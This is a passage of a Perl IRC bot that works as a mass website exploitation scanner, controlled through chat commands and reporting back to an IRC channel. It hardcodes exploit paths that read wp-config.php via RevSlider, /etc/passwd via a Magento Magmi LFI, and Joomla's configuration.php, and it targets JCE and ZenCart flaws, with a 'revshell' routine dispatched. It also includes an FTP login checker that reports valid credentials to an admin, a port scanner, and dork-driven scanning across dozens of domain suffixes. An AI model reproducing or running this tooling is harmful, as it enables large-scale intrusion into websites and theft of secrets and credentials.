  415.                         my ($bug,$dork) = ("magmi/web/magmi.php",$1);
  416.                                 &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Magento Magmi di 4$path ");
  417.                                 &msg("$path","$magelogo9Dork 4<9=4>15 $dork ");
  418.                                 &msg("$path","$magelogo9Search Engine 4<9=4>15 Wait Loading.....! ");
  419.                                 &se_start($path,$bug,$dork,$engine,4);
  420.                         }
  421.                     }
  422.                 }
  423.                 if ($msg =~ /^$jcecmd\s+(.*)/) {
  424.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  425.                         my ($bug,$dork) = ("/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b",$1);
  426.                                 &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan JoomlaCE di 4$path ");
  427.                                 &msg("$path","$jcelogo9Dork 4<9=4>15 $dork ");
  428.                                 &msg("$path","$jcelogo9Search Engine 4<9=4>15 Wait Loading.....! ");
  429.                                 &se_start($path,$bug,$dork,$engine,6);
  430.                         }
  431.                     }
  432.                 }
  433.                 if ($msg =~ /^$revcmd\s+(.*)/) {
  434.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  435.                         my ($bug,$dork) = ("wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php",$1);
  436.                                 &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Revslider di 4$path ");
  437.                                 &msg("$path","$revlogo9Dork 4<9=4>15 $dork ");
  438.                                 &msg("$path","$revlogo9Search Engine 4<9=4>15 Wait Loading.....! ");
  439.                                 &se_start($path,$bug,$dork,$engine,7);
  440.                         }
  441.                     }
  442.                 }
  443.                 if ($msg =~ /^$revcmd\s+(.*)/) {
  444.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  445.                         my ($bug,$dork) = ("wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php",$1);
  446.                         &se_start($path,$bug,$dork,$engine,8);
  447.                         }
  448.                     }
  449.                 }
  450.                 if ($msg =~ /^$zencmd\s+(.*)/) {
  451.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  452.                         my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
  453.                                 &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan ZenCart di 4$path ");
  454.                                 &msg("$path","$zenlogo9Dork 4<9=4>15 $dork ");
  455.                                 &msg("$path","$zenlogo9Search Engine 4<9=4>15 Wait Loading.....! ");
  456.                                 &se_start($path,$bug,$dork,$engine,9);
  457.                         }
  458.                     }
  459.                 }
  460.                 if ($msg =~ /^$joomlacmd\s+(.*)/) {
  461.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  462.                         my ($bug,$dork) = ("/index.php?option=com_cckjseblod&task=download&file=configuration.php",$1);
  463.                                 &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Joomla LFD di 4$path ");
  464.                                 &msg("$path","$joomlalogo9Dork 4<9=4>15 $dork ");
  465.                                 &msg("$path","$joomlalogo9Search Engine 4<9=4>15 Wait Loading.....! ");
  466.                                 &se_start($path,$bug,$dork,$engine,10);
  467.                         }
  468.                     }
  469.                 }
  470.                 if ($msg =~ /^$maglficmd\s+(.*)/) {
  471.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  472.                                 my ($bug,$dork) = ("magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility",$1);
  473.                                 my $simpan = $nick;
  474.                                 &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan Magento LFI di 4$path ");
  475.                                 &msg("$path","$magelogo9Dork 4<9=4>15 $dork ");
  476.                                 &msg("$path","$magelogo9Search Engine 4<9=4>15 Wait Loading.....! ");
  477.                                 &se_start($path,$bug,$simpan,$dork,$engine,11);
  478.                         }
  479.                     }
  480.                 }
  481.                 if ($msg=~ /^!ip\s+(.*)/ ) {
  482.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  483.                         my $ip = $1;
  484.                             &msg("$path","9,1[4!9]15IP 4<9=4>15Searching ".$ip." 4Location ...");
  485.                         my $website = "http://www.ipligence.com/geolocation";
  486.                         my ($useragent,$request,$response,%form);
  487.                         undef %form;
  488.                         $form{ip} = $ip;
  489.                         $useragent = LWP::UserAgent->new;
  490.                         $useragent->timeout(5);
  491.                         $request = POST $website,\%form;
  492.                         $response = $useragent->request($request);
  493.                         if ($response->is_success) {
  494.                         my $res = $response->content;
  495.                             if ($res =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g) {
  496.                             my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
  497.                             &msg("$path","9,1[4!9]15IP 4<9=4>15IP Address : ".$ip." 4[".$ipaddress."]");
  498.                             &msg("$path","9,1[4!9]15IP 4<9=4>15City : ".$ip." 4[".$city."]");
  499.                             &msg("$path","9,1[4!9]15IP 4<9=4>15Country : ".$ip." 4[".$country."]");
  500.                             &msg("$path","9,1[4!9]15IP 4<9=4>15Continent : ".$ip." 4[".$continent."]");
  501.                             }
  502.                             else {
  503.                                 &msg("$path","9,1[4!9]15IP 4<9=4>15 ".$ip." 4not found in database");
  504.                             }
  505.                         }
  506.                         else {
  507.                             &msg("$path","9,1[4!9]15IP 4<12=4> 4 Cannot open IP database.");
  508.                         }
  509.                     }
  510.                     exit;
  511.                     }
  512.                 }
  513.                 if ($msg=~ /^!dns\s+(.*)/){
  514.                     my $nsku = $1;
  515.                     my $mydns = inet_ntoa(inet_aton($nsku));
  516.                     &msg("$path", "9,1[4!9]15DNS 4<9=4>15$nsku 4Resolved to 4 $mydns");
  517.                 }
  518.                 if ($msg=~ /^!port\s+(.*?)\s+(.*)/ ) {
  519.                     my $hostip= "$1";
  520.                     my $portsc= "$2";
  521.                     my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
  522.                     if ($scansock) {
  523.                         &msg("$path","9,1[4!9]15PORT 4<9=4>15 $hostip : $portsc 12Successful !");
  524.                     }
  525.                     else {
  526.                         &msg("$path","9,1[4!9]15PORT 4<9=4>15 $hostip : $portsc 4Failed !");
  527.                     }
  528.                 }
  529.                 if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
  530.                 my $url = $_[0];
  531.                 my $host = $_[1];
  532.                 my $user = $_[2];
  533.                 my $pass = $_[3];
  534.                     if (my $pid = fork) {
  535.                         waitpid($pid, 0);
  536.                     } else {
  537.                         if (fork) { exit; } else {
  538.                 my ($host,$user,$pass) = ($1,$2,$3);
  539.                     &msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass");
  540.                     my $success = 1;
  541.                     use Net::FTP;
  542.                     my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
  543.                     $success = 0 if $ftp->login($user,$pass);
  544.                     $ftp->quit;
  545.                     if ($success == 0) {
  546.                         &notice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success ");
  547.                         &notice("$admin","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success ");
  548.                         } else {
  549.                         &notice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied ");
  550.                     }
  551.                 }
  552.             }
  553.         }
  554.     }
  555. }
  556.         for(my $c=0; $c<= $#lines; $c++) {
  557.             $line = $lines[$c];
  558.             $line = $line_temp.$line if ($line_temp);
  559.             $line_temp = '';
  560.             $line =~ s/\r$//;
  561.             unless ($c == $#lines) {
  562.  
  563.                 parse("$line");
  564.             } else {
  565.                 if ($#lines == 0) {
  566.                     parse("$line");
  567.                 } elsif ($lines[$c] =~ /\r$/) {
  568.                     parse("$line");
  569.                 } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  570.                     parse("$line");
  571.                 } else {
  572.                     $line_temp = $line;
  573.                 }
  574.             }
  575.         }
  576.     }
  577. }
  578.  
  579. ##################################################################################
  580.  
  581. sub type() {
  582. my ($chan,$bug,$dork,$engine,$type) = @_;
  583.     if ($type == 1){$type=&shoplift($chan,$bug,$dork,$engine);}
  584.     elsif ($type == 2){$type=&magadmin($chan,$bug,$dork,$engine);}
  585.     elsif ($type == 3){$type=&magsql($chan,$bug,$dork,$engine);}
  586.     elsif ($type == 4){$type=&mageupl($chan,$bug,$dork,$engine);}
  587.     elsif ($type == 6){$type=&jce_exploit($chan,$bug,$dork,$engine);}
  588.     elsif ($type == 7){$type=&revlfd($chan,$bug,$simpan,$dork,$engine);}
  589.     elsif ($type == 8){$type=&revshell($chan,$bug,$simpan,$dork,$engine);}
  590.     elsif ($type == 9){$type=&zen_lfd($chan,$bug,$simpan,$dork,$engine);}
  591.     elsif ($type == 10){$type=&joomla_xpl($chan,$bug,$simpan,$dork,$engine);}
  592.     elsif ($type == 11){$type=&magelfi($chan,$bug,$simpan,$dork,$engine);}
  593. }
  594.  
  595. ##################################################################################
  596.  
  597. sub se_start() {
  598. my ($chan,$bug,$dork,$engine,$type) = @_;
  599.     if ($engine =~ /jackae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAE",$type); } exit; } }
  600.     if ($engine =~ /jackar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAR",$type); } exit; } }
  601.     if ($engine =~ /jackat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAT",$type); } exit; } }
  602.     if ($engine =~ /jackau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAU",$type); } exit; } }
  603.     if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBR",$type); } exit; } }
  604.     if ($engine =~ /jackca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCA",$type); } exit; } }
  605.     if ($engine =~ /jackcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCL",$type); } exit; } }
  606.     if ($engine =~ /jackcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCN",$type); } exit; } }
  607.     if ($engine =~ /jackcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCoM",$type); } exit; } }
  608.     if ($engine =~ /jackcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCZ",$type); } exit; } }
  609.     if ($engine =~ /jackde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKDE",$type); } exit; } }
  610.     if ($engine =~ /jackdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKDK",$type); } exit; } }
  611.     if ($engine =~ /jackes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKES",$type); } exit; } }
  612.     if ($engine =~ /jackeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKEU",$type); } exit; } }
  613.     if ($engine =~ /jackfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKFR",$type); } exit; } }
  614.     if ($engine =~ /jackhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKHU",$type); } exit; } }
  615.     if ($engine =~ /jackid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKID",$type); } exit; } }
  616.     if ($engine =~ /jackil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIL",$type); } exit; } }
  617.     if ($engine =~ /jackin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIN",$type); } exit; } }
  618.     if ($engine =~ /jackinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKInfO",$type); } exit; } }
  619.     if ($engine =~ /jackir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIR",$type); } exit; } }
  620.     if ($engine =~ /jackit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIT",$type); } exit; } }
  621.     if ($engine =~ /jackjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKJP",$type); } exit; } }
  622.     if ($engine =~ /jackkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKKR",$type); } exit; } }
  623.     if ($engine =~ /jackmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMX",$type); } exit; } }
  624.     if ($engine =~ /jackmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMY",$type); } exit; } }
  625.     if ($engine =~ /jacknet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNeT",$type); } exit; } }
  626.     if ($engine =~ /jacknl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNL",$type); } exit; } }
  627.     if ($engine =~ /jackorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKOrG",$type); } exit; } }
  628.     if ($engine =~ /jackph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPH",$type); } exit; } }
  629.     if ($engine =~ /jackpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPL",$type); } exit; } }
  630.     if ($engine =~ /jackro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKRO",$type); } exit; } }
  631.     if ($engine =~ /jackru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKRU",$type); } exit; } }
  632.     if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTH",$type); } exit; } }
  633.     if ($engine =~ /jackua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUA",$type); } exit; } }
  634.     if ($engine =~ /jackuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUK",$type); } exit; } }
  635.     if ($engine =~ /jackus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUS",$type); } exit; } }
  636.     if ($engine =~ /jacksi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKSI",$type); } exit; } }
  637.     if ($engine =~ /jackbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBE",$type); } exit; } }
  638.     if ($engine =~ /jackbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBIZ",$type); } exit; } }
  639.     if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AE",$type); } exit; } }
  640.     if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AR",$type); } exit; } }
  641.     if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AT",$type); } exit; } }
  642.     if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AU",$type); } exit; } }
  643.     if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BR",$type); } exit; } }
  644.     if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CA",$type); } exit; } }
  645.     if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CL",$type); } exit; } }
  646.     if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CN",$type); } exit; } }
  647.     if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CoM",$type); } exit; } }
  648.     if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CZ",$type); } exit; } }
  649.     if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DE",$type); } exit; } }
  650.     if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DK",$type); } exit; } }
  651.     if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ES",$type); } exit; } }
  652.     if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EU",$type); } exit; } }
  653.     if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FR",$type); } exit; } }
  654.     if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HU",$type); } exit; } }
  655.     if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ID",$type); } exit; } }
  656.     if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IL",$type); } exit; } }
  657.     if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IN",$type); } exit; } }
  658.     if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"InfO",$type); } exit; } }
  659.     if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IR",$type); } exit; } }
  660.     if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IT",$type); } exit; } }
  661.     if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JP",$type); } exit; } }
  662.     if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KR",$type); } exit; } }
  663.     if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MX",$type); } exit; } }
  664.     if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MY",$type); } exit; } }
  665.     if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NeT",$type); } exit; } }
  666.     if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NL",$type); } exit; } }
  667.     if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OrG",$type); } exit; } }
  668.     if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PH",$type); } exit; } }
  669.     if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PL",$type); } exit; } }
  670.     if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RO",$type); } exit; } }
  671.     if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RU",$type); } exit; } }
  672.     if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TH",$type); } exit; } }
  673.     if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UA",$type); } exit; } }
  674.     if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UK",$type); } exit; } }
  675.     if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"US",$type); } exit; } }
  676.     if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SI",$type); } exit; } }
  677.     if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BE",$type); } exit; } }
  678.     if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BIZ",$type); } exit; } }
  679.     if ($engine =~ /xxx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"XXX",$type); } exit; } }
  680.     if ($engine =~ /tel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TEL",$type); } exit; } }
  681.     if ($engine =~ /tv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TV",$type); } exit; } }
  682.     if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CC",$type); } exit; } }
  683.     if ($engine =~ /mil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MIL",$type); } exit; } }
  684.     if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ASIA",$type); } exit; } }
  685.     if ($engine =~ /name/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NAME",$type); } exit; } }
  686.     if ($engine =~ /pro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PRO",$type); } exit; } }
  687.     if ($engine =~ /travel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TRAVEL",$type); } exit; } }
  688.     if ($engine =~ /cat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CAT",$type); } exit; } }
  689.     if ($engine =~ /jobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JOBS",$type); } exit; } }
  690.     if ($engine =~ /mobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MOBI",$type); } exit; } }
  691.     if ($engine =~ /aero/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AERO",$type); } exit; } }
  692.     if ($engine =~ /coop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"COOP",$type); } exit; } }
  693.     if ($engine =~ /edu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EDU",$type); } exit; } }
  694.     if ($engine =~ /gov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GOV",$type); } exit; } }
  695.     if ($engine =~ /as/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AS",$type); } exit; } }
  696.     if ($engine =~ /ai/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AI",$type); } exit; } }
  697.     if ($engine =~ /ag/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AG",$type); } exit; } }
  698.     if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AZ",$type); } exit; } }
  699.     if ($engine =~ /bh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BH",$type); } exit; } }
  700.     if ($engine =~ /bd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BD",$type); } exit; } }
  701.     if ($engine =~ /bz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BZ",$type); } exit; } }
  702.     if ($engine =~ /bo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BO",$type); } exit; } }
  703.     if ($engine =~ /ba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BA",$type); } exit; } }
  704.     if ($engine =~ /bw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BW",$type); } exit; } }
  705.     if ($engine =~ /vg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VG",$type); } exit; } }
  706.     if ($engine =~ /bg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BG",$type); } exit; } }
  707.     if ($engine =~ /bi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BI",$type); } exit; } }
  708.     if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CO",$type); } exit; } }
  709.     if ($engine =~ /cd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CD",$type); } exit; } }
  710.     if ($engine =~ /cg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CG",$type); } exit; } }
  711.     if ($engine =~ /ck/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CK",$type); } exit; } }
  712.     if ($engine =~ /cr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CR",$type); } exit; } }
  713.     if ($engine =~ /hr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HR",$type); } exit; } }
  714.     if ($engine =~ /cu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CU",$type); } exit; } }
  715.     if ($engine =~ /ci/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CI",$type); } exit; } }
  716.     if ($engine =~ /dj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DJ",$type); } exit; } }
  717.     if ($engine =~ /dm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DM",$type); } exit; } }
